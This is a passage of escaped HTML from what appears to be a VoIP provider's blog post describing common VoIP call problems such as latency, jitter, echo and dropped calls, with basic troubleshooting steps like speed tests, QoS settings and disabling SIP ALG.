VoIP phone?\">Why can&#8217;t I make outbound calls on my VoIP phone?<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"An_Introduction_to_VoIP\"><\/span><b>An Introduction to VoIP<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">In the 90s, 1995 to be exact, a company called VocalTec developed the first commercial VoIP application, allowing people to make calls using their computers and internet connection. This innovation offered a <\/span><a href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/pbx-vs-voip\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">cost-effective alternative<\/span><\/a><span style=\"font-weight: 400;\"> to traditional long-distance phone services.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Since then <\/span><a href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/voip-advantages-and-disadvantages\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Voice over Internet Protocol<\/span><\/a><span style=\"font-weight: 400;\"> or VoIP has been gaining traction. It\u2019s a popular choice for making calls in corporate setups. Research suggests that virtual phone systems can boost business growth and customer satisfaction significantly. Let&#8217;s explore the facts.<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Small businesses that switched to VoIP save 40% on local calls and 90% on international calls. <\/strong><span style=\"font-weight: 400;\">(<\/span><a href=\"https:\/\/tech.co\/news\/voip-essential-business-today-2015-03\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">TechCo<\/span><\/a><span style=\"font-weight: 400;\">)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\"><strong>By integrating VoIP, businesses save 30% on teleconferencing.<\/strong> <\/span><span style=\"font-weight: 400;\">(<\/span><a href=\"https:\/\/tech.co\/news\/voip-essential-business-today-2015-03\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">TechCo<\/span><\/a><span style=\"font-weight: 400;\">)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\"><strong>The global VoIP industry is expected to be worth up to a whopping $55bn by 2025.<\/strong> (<\/span><a href=\"https:\/\/www.techopedia.com\/voip\/voip-statistics\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Techopedia<\/span><\/a><span style=\"font-weight: 400;\">)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\"><strong>Small- and medium-sized businesses are expected to grow their share of the overall VoIP market (15%) by 2025.<\/strong> (Source- Techopedia)<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><strong>Companies have seen a 20% rise in productivity with VoIP.<\/strong><span style=\"font-weight: 400;\"> (<\/span><span style=\"font-weight: 400;\">Harbor Networks<\/span><span style=\"font-weight: 400;\">)<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">VoIP adoption is important in client communication and distributed workforce. Modern cloud-based VoIP systems offer an effective replacement for traditional wired systems, providing flexibility, scalability, and cost-effectiveness.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"13_Common_VoIP_Issues_with_Troubleshooting_Tips\"><\/span><b>13 Common VoIP Issues with Troubleshooting Tips<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Now let&#8217;s face it, while undeniably convenient and cost-effective, VoIP can sometimes exhibit technical glitches. Don&#8217;t worry, though! Most of the voice-over IP issues are common and have simple fixes. Let&#8217;s begin to understand the common VoIP problems along with step-by-step troubleshooting tips to ensure frustration-free VoIP communication.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"1_Latency_and_Jitter\"><\/span><b>1. Latency and Jitter<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Jitter and Latency are two common VoIP issues that are often thought to be similar but are actually different. Let&#8217;s break it down, one by one:\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Latency_or_The_Time_Lag\"><\/span><b>Latency or \u2018The Time Lag\u2019<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">In VoIP communication, latency refers to the delay in audio as one person speaks and the other hears the voice. It is the time that data packets take to travel from one device to the destination server and back. Latency is measured in milliseconds denoted as ms. Usually, the acceptable delay in audio for VoIP calls is below 150 ms. VoIP users might experience slight echo, however, the overall conversation happens smoothly.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">During a VoIP conversation when latency surpasses 150 ms, which means the call is experiencing a high-latency issue, noticeable delays are usually encountered by the call participants. Such calls result in missed words and choppy audio, often leading to frustration.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Jitter\"><\/span><b>Jitter\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5109 size-full\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/Jitter.jpg\" alt=\"Jitter\" width=\"750\" height=\"588\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/Jitter.jpg 750w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/Jitter-300x235.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">During a VoIP call, data packets travel at a consistent speed, which makes their arrival predictable at the destination. Now when some data packets travel at one speed while others lag, the inconsistency disrupts the flow of data resulting in jitter.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Similar to latency, Jitter is also measured in milliseconds (ms). The tolerable limit for jitter is below 30 ms. However, when it exceeds 30 ms, call participants are likely to experience stuttering audio, dropped calls, and even complete audio breakdowns. In worst cases, the VoIP conversations are completely disconnected.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"VoIP_Troubleshooting_and_Resolution_for_Latency_and_Jitter\"><\/span><b>VoIP Troubleshooting and Resolution for Latency and Jitter<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">When experiencing latency and jitter in your VoIP calls, you can follow the below-mentioned steps to diagnose and address such issues.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Run_an_Internet_Speed_Test\"><\/span><b>Run an Internet Speed Test<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Check the speed of your internet connection to identify your upload and download speed. Sufficient bandwidth is imperative for VoIP calls to operate smoothly and, therefore, clear bandwidth space on your local network is required. You can do this by adding a new router that supports faster data speeds or simply limiting the number of concurrent users on your local network to reduce traffic.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Last but not least, you may contact your <\/span><a href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-isp-internet-service-provider\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Internet Service Provider<\/span><\/a><span style=\"font-weight: 400;\"> or ISP to upgrade your Internet connectivity and get sufficient bandwidth so that all connected devices run smoothly.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Install_Jitter_Buffers\"><\/span><b>Install Jitter Buffers<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Jitter Buffers are software tools that store incoming data packets temporarily and release them at a steady pace, thus fixing jitter and improving the quality of the VoIP audio.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Prefer_Wired_over_Wireless\"><\/span><b>Prefer Wired over Wireless\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">It is a common recommendation to use a wired ethernet connection for VoIP phones or adapters. This is because Wi-Fi connections are often susceptible to interference, leading to jitter.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Upgrade_to_Newer_Equipment\"><\/span><b>Upgrade to Newer Equipment\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Often, outdated routers or network hardware are the culprits behind latency and jitter during VoIP calls. If you have tried implementing the above methods, then consider upgrading your equipment that can handle VoIP traffic more efficiently.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">If you cannot resolve the latency and jitter issues, it is best to contact your VoIP provider. Their support team should be able to detect and provide support for the VoIP issues you are facing during your calls.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"2_Poor_Call_Quality_or_Choppy_Audio\"><\/span><b>2. Poor Call Quality or Choppy Audio<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5113 size-full\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/choppy-audio.jpg\" alt=\"choppy audio\" width=\"750\" height=\"501\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/choppy-audio.jpg 750w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/choppy-audio-300x200.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Choppy or poor-quality audio calls mean that while the call is still connected, you are only able to catch snippets of what the person on the other end is saying. It is like words cut in and out, making it hard to follow the conversation.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"VoIP_Troubleshooting_for_Choppy_Call_Audio_or_Poor_Call_Quality\"><\/span><b>VoIP Troubleshooting for Choppy Call Audio or Poor Call Quality<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Usually, the main culprits behind poor call audio are latency, jitter, and insufficient bandwidth. So to diagnose and fix choppy VoIP calls, perform the below-mentioned steps.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Check_Speed\"><\/span><b>Check Speed\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Run an internet speed test to know whether you have sufficient bandwidth for your VoIP calls. Make sure they meet the minimum requirements set by your VoIP provider.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Prioritize_Voice_Data\"><\/span><b>Prioritize Voice Data\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Check the Quality of Service or QoS settings in your router and give priority to \u2018voice data\u2019 over other types of traffic like video streaming. By enabling this, you can ensure that your voice calls get the sufficient amount of bandwidth needed for smooth conversations.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"3_Dropped_Calls\"><\/span><b>3. Dropped Calls<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Ever experienced an unintentional disconnection before either party intends to end the conversation? That&#8217;s a dropped VoIP call and various factors can contribute to this issue like unstable internet connectivity, latency and jitter, SIP ALG conflicts, packet loss, insufficient bandwidth and hardware and software issues, and even issues from the service provider\u2019s end.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"VoIP_Troubleshooting_for_Dropped_Calls\"><\/span><b>VoIP Troubleshooting for Dropped Calls<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Reduce_Packet_Loss\"><\/span><b>Reduce Packet Loss\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Check your network for faulty cables or connectors and make sure that all devices including routers have the latest firmware installed. You can install packet loss monitoring tools to identify and address the issue.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Restart_Your_Equipment\"><\/span><b>Restart Your Equipment\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Sometimes a simple reboot can clear temporary glitches. So restart your router and VoIP phone as it may resolve the dropped call issue.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Check_for_Network_Outages\"><\/span><b>Check for Network Outages\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Dropped calls could also be happening because of sudden network outages or maintenance, causing disruptions. So, it is a good idea to contact your ISP to inquire about this.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Review_Firewall_and_Router_Settings\"><\/span><b>Review Firewall and Router Settings\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Make sure that your firewall isn&#8217;t blocking your VoIP ports or protocols. So you may check your router&#8217;s manual or contact your ISP to resolve such issues.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"4_Echoing_or_Hearing_Your_Own_Voice\"><\/span><b>4. Echoing or Hearing Your Own Voice\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5107 size-full\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/causes-of-phone-echoing.jpg\" alt=\"causes of phone echoing\" width=\"750\" height=\"750\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/causes-of-phone-echoing.jpg 750w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/causes-of-phone-echoing-300x300.jpg 300w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/causes-of-phone-echoing-150x150.jpg 150w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Often, call participants hear their own voices echoing back at them during VoIP calls. But why does this happen? Well, there could be several reasons:\u00a0\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Acoustic_Feedback\"><\/span><b>Acoustic Feedback\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">This happens when a copy of one of the participant\u2019s voice leaks back into the microphone and gets re-transmitted to the other person.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Problem_with_VoIP_Phone_System\"><\/span><b>Problem with VoIP Phone System<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Faulty hardware or improper configuration settings can also cause the problem of echoing during VoIP calls.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Internet_Connection_Issue\"><\/span><b>Internet Connection Issue<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">A slow internet connection or overloaded network can cause delays in the call. These delays can confuse VoIP&#8217;s echo cancellation features and create an echo effect.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Malfunctioning_or_Improper_Speaker_Placement\"><\/span><b>Malfunctioning or Improper Speaker Placement<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Damaged equipment can also be the reason behind echoing in your VoIP calls. <\/span><span style=\"font-weight: 400;\">Keeping the microphone too close to the speaker can cause the problem of echoing during a call.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"VoIP_Troubleshooting_for_Echoing\"><\/span><b>VoIP Troubleshooting for Echoing\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Consider_Your_Mic_Placement\"><\/span><b>Consider Your Mic Placement\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Make sure that there is a separation of a few inches between the microphone and speaker to minimize acoustic feedback. Alternatively, you can try using a headset.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Check_your_Connection\"><\/span><b>Check your Connection\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Ensure that your VoIP connection is properly grounded and that you have a &#8220;clean&#8221; power source. Check the locations of your ATA device, router, modem, and all cables. Isolate the devices from any power supplies to remove the possibility of electrical induction<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Check_Microphone_Settings\"><\/span><b>Check Microphone Settings\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Lower your microphone \u2018gain settings\u2019 on your VoIP phone or software. Ensure that background noise is minimal without compromising your voice volume.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Check_for_Electromagnetic_Interference\"><\/span><b>Check for Electromagnetic Interference<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">When your VoIP device is placed too close to other electronic devices, such as power strips, consider relocating your VoIP device. It will help you minimize interference and combat the problem of echoing.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"5_Call_Connects_with_No_Sound\"><\/span><b>5. Call Connects with No Sound<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5114 size-full\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/call-connects-with-no-sound.jpg\" alt=\"call connects with no sound\" width=\"750\" height=\"501\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/call-connects-with-no-sound.jpg 750w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/call-connects-with-no-sound-300x200.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Silence is solace but it is also frustrating, only when you connect over a VoIP call but hardly hear any sound. Some of the common reasons for this issue are:\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Wrong microphone or speaker\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Incorrect audio settings\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Improperly plugged headphones\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Damaged equipment<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Temporary network issues<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"VoIP_Troubleshooting_Steps_for_Calls_with_No_Sound\"><\/span><b>VoIP Troubleshooting Steps for Calls with No Sound\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>&nbsp;<\/p>\n<ol>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Ensure that the mute button isn\u2019t engaged<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Confirm the correct audio settings on your microphone and speaker\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Make sure the headset is plugged in securely and selected as the audio device\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Check if the headphones are working fine and not damaged\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Adequately turn up the volume on VoIP phone, software, speakers\/headphones<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Try restarting your router and modem to clear up temporary network issues<\/span><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">If none of these steps work for you, we recommend contacting your VoIP provider for further assistance.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"6_VoIP_Device_Wont_Make_andor_Receive_Calls\"><\/span><b>6. VoIP Device Won\u2019t Make and\/or Receive Calls<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">What are some possible culprits if your VoIP device is unable to make or receive calls? It could be because:\u00a0<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5112 size-full\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/low-Wi-Fi-signal.jpg\" alt=\"low Wi-Fi signal\" width=\"750\" height=\"500\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/low-Wi-Fi-signal.jpg 750w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/low-Wi-Fi-signal-300x200.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">VoIP phone not plugged in<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Router malfunctioning<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">ISP outage\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Weak Wi-Fi signal\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Incorrect VoIP Phone Configuration\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Outdated Firmware\u00a0<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"VoIP_Troubleshooting_Process_When_Unable_to_Make_Receive_Calls\"><\/span><b>VoIP Troubleshooting Process When Unable to Make\/ Receive Calls\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Turning_Off_SIP_ALG\"><\/span><b>Turning Off SIP ALG\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">There&#8217;s a feature in most of the routers called the SIP ALG i.e. Session Initiation Protocol Application Layer Gateway that acts like a translator for your VoIP calls. The role of SIP ALG is to help calls flow smoothly by modifying the network&#8217;s outbound VoIP packets. However, sometimes, this modification gets messed up and packets are routed to the wrong destination. You can turn off SIP ALG by consulting your router&#8217;s manual for specific instructions.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Update_and_Restart\"><\/span><b>Update and Restart<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Just like every other software, your VoIP software also needs a periodic update to function at its best. So you need to check if there are any updates available for your VoIP application. Downloading and installing the latest updates and then restarting your VoIP device can clear up minor glitches.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"7_Calls_Go_to_Voicemail_Unexpectedly\"><\/span><b>7. Calls Go to Voicemail Unexpectedly<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">When VoIP calls go directly to voicemail instead of ringing your phone, it can be due to a variety of reasons.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Call forwarding activated directing all calls straight to voicemail\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Do Not Disturb mode accidentally turned on\u00a0<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Ringer Volume muted or incorrect ring settings<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Issues in Registration with Provider&#8217;s servers\u00a0<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"VoIP_Troubleshooting_for_Missed_Calls\"><\/span><b>VoIP Troubleshooting for Missed Calls\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Logged_In_and_Linked\"><\/span><b>Logged In and Linked<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Make sure your VoIP phone is logged in to your VoIP application. Think of it like logging in to any other app \u2013 if you&#8217;re not signed in, you won&#8217;t receive messages.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Number_Check\"><\/span><b>Number Check<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Double-check that your VoIP account is linked to the correct <\/span><a href=\"https:\/\/www.revesoft.com\/blog\/cloud-telephony\/business-phone-line\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">business phone number<\/span><\/a><span style=\"font-weight: 400;\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Call_Forwarding\"><\/span><b>Call Forwarding<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Review your call forwarding settings on your VoIP phone. Ensure it&#8217;s disabled for incoming calls.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Do_Not_Disturb_Mode\"><\/span><b>Do Not Disturb Mode<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Verify that the &#8220;Do Not Disturb&#8221; mode isn&#8217;t activated on your VoIP phone.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><span class=\"ez-toc-section\" id=\"Check_Ringer_Volume\"><\/span><b>Check Ringer Volume<\/b><span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p><span style=\"font-weight: 400;\">Make sure the ringer volume on your VoIP phone is turned up to an audible level.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"8_One_VoIP_Phone_Works_But_Other_Doesnt\"><\/span><b>8. One VoIP Phone Works But Other Doesn\u2019t\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5116 size-full\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/one-voip-phone-doesnt-work.jpg\" alt=\"one voip phone doesn't work\" width=\"750\" height=\"500\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/one-voip-phone-doesnt-work.jpg 750w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/06\/one-voip-phone-doesnt-work-300x200.jpg 300w\" sizes=\"auto, (max-width: 750px) 100vw, 750px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Often this happens &#8211; one phone doesn&#8217;t work and when you plug in another phone on the same network port, it works.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Identify a known working spot with a functioning network port and try to use the first phone at this place. If it works here, then probably the problem is with the previous network port. However, if it still doesn&#8217;t work, the issue is likely with the phone device itself. In this case, the issue is likely with the non-working phone&#8217;s MAC address registration or configuration.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"VoIP_Troubleshooting_for_Issues_with_the_Phone_Device\"><\/span><b>VoIP Troubleshooting for Issues with the Phone\/ Device\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Now if the phone is the culprit, you can simply contact the customer support team of your VoIP service provider. They may suggest a solution depending on your specific requirements. This may include solutions like updating the firmware, rectifying configuration settings, etc.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><span class=\"ez-toc-section\" id=\"9_Phone_Doesnt_Ring_for_Inbound_Calls\"><\/span><b>9. Phone Doesn\u2019t Ring for Inbound Calls\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">\u00a0Some potential reasons why your VoIP phone isn&#8217;t ringing for inbound calls are:<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5117 size-full\" 